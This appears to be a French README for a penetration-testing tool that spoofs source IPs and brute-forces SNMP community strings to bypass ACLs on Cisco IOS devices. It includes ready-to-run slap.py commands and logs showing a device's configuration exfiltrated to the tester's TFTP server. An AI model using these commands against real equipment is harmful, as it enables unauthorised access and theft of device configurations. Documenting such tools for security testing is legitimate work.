
Outil d'IP spoofing et de brute-force des community strings SNMP pour contourner les ACL sur les appareils Cisco IOS et exfiltrer les fichiers de configuration via TFTP.
cisco-snmp-slap utilise l'usurpation d'adresse IP afin de contourner une ACL protégeant un service SNMP sur un équipement Cisco IOS.
En général, l'usurpation d'adresse IP a une utilité limitée lors de véritables attaques, en dehors des dénis de service. Aucun service TCP ne peut terminer la poignée de main initiale. Les paquets UDP sont plus faciles à usurper, mais le paquet de retour est souvent envoyé à la mauvaise adresse, ce qui rend difficile la collecte des informations renvoyées.
Cependant, si un attaquant peut deviner la chaîne de communauté SNMP rw ainsi qu'une adresse source valide, il peut définir des MIB SNMP. L'une des utilisations les plus évidentes consiste à faire envoyer son fichier de configuration IOS par un service SNMP Cisco vers un autre équipement.
Cet outil vous permet de tester une ou plusieurs chaînes de communauté contre un équipement Cisco depuis une ou plusieurs adresses IP. Lorsque vous spécifiez des adresses IP, vous pouvez choisir de parcourir une plage d'adresses sources de manière séquentielle ou aléatoire.
Pour spécifier une plage d'adresses IP sources à tester, une adresse source initiale et un masque IP sont fournis. Tous les bits définis dans le masque IP seront utilisés pour générer des adresses IP sources en modifiant l'adresse source initiale.
Par exemple, si une adresse source de 10.0.0.0 est fournie avec un masque IP de 0.0.0.255, le script explorera les adresses de 10.0.0.0 à 10.0.0.255.
Les bits définis ne doivent pas nécessairement être séquentiels comme dans un masque de sous-réseau. Par exemple, le masque 0.128.1.255 est valide et explorera les plages 10.0,128.0-1.0-255.
Lors de la vérification d'une plage d'adresses IP de manière aléatoire ou séquentielle, il vous est demandé de saisir le chemin vers la racine du répertoire tftp. Le script vérifiera ce répertoire pour voir si le fichier a été correctement transféré.
Cet outil a été écrit pour cibler les switchs Cisco de niveau 3 lors de tests d'intrusion, bien qu'il puisse avoir d'autres utilisateurs. Il fonctionne bien contre ces équipements car :
J'espère néanmoins que les utilisateurs trouveront d'autres utilisations intéressantes pour ce script et son code source.
Dans cet exemple, je prends un simple équipement IOS avec une liste d'accès protégeant un service SNMP utilisant la chaîne de communauté 'cisco'
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10
L'adresse IP d'un équipement IOS est 10.0.0.1
Le testeur d'intrusion a une adresse IP 10.0.0.2 et a démarré un serveur TFTP.
Si le testeur connaît tout cela, il utilise le mode unique « one shot » pour récupérer le fichier de configuration de l'équipement. Ex. :
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1
Si le testeur ne connaît pas les détails, il peut essayer de deviner. Disons que le testeur a fait des repérages et a découvert que toutes les adresses internes sont dans la plage 10.0.0.0/8.
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/
Cette commande parcourra tous les /24 ; le testeur espère gagner du temps en supposant qu'un sous-réseau entier sera autorisé plutôt qu'une seule adresse IP.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community String: cisco
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask: 0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!
Vous remarquerez que le programme sort et annonce le succès plusieurs adresses IP après être entré dans la plage 10.100.100.0/24. Cela vient du fait qu'il n'est pas possible de déterminer quelle adresse source a réussi, mais il détermine que l'une des requêtes a réussi lorsque le fichier de configuration apparaît dans le tftproot. Étant donné que vous venez de récupérer la configuration active, vous pouvez maintenant découvrir vous-même les détails de l'ACL.
Plutôt que de spécifier une seule chaîne de communauté, vous pouvez également fournir une liste à utiliser. Les noms des modes sont les mêmes mais avec un suffixe '_l'.
Par exemple, pour répéter la même attaque en utilisant une liste de chaînes de communauté dans list.txt, les arguments suivants doivent être utilisés.
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap, v0.3
Darren McDonald, [email protected]
WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP : 10.0.0.2
Source IP: 10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded: ['private\n', 'cisco\n', 'public\n']
10.0.0.5 / private
10.0.0.5 / cisco
10.0.0.5 / public
10.0.1.5 / private
10.0.1.5 / cisco
10.0.1.5 / public
10.0.2.5 / private
10.0.2.5 / cisco
10.0.2.5 / public
10.0.3.5 / private
10.0.3.5 / cisco
10.0.3.5 / public
Désormais, chaque adresse IP est testée avec chaque chaîne de communauté de list.txt.
En tant que langage de programmation, Python est un langage simple, facile à lire et à écrire, et je vous encourage à essayer de déboguer et de corriger les éventuels problèmes que vous trouverez et à m'envoyer vos modifications afin que je puisse les partager avec les autres utilisateurs sur le Github de NCC.
Mais si vous avez besoin d'aide, vous pouvez me contacter à [email protected]. Je ferai de mon mieux pour vous aider, mais sachez que je ne suis pas développeur à plein temps (ce qui devrait être évident avec mon code !) et qu'il se peut que je n'aie pas immédiatement le temps de traiter votre demande.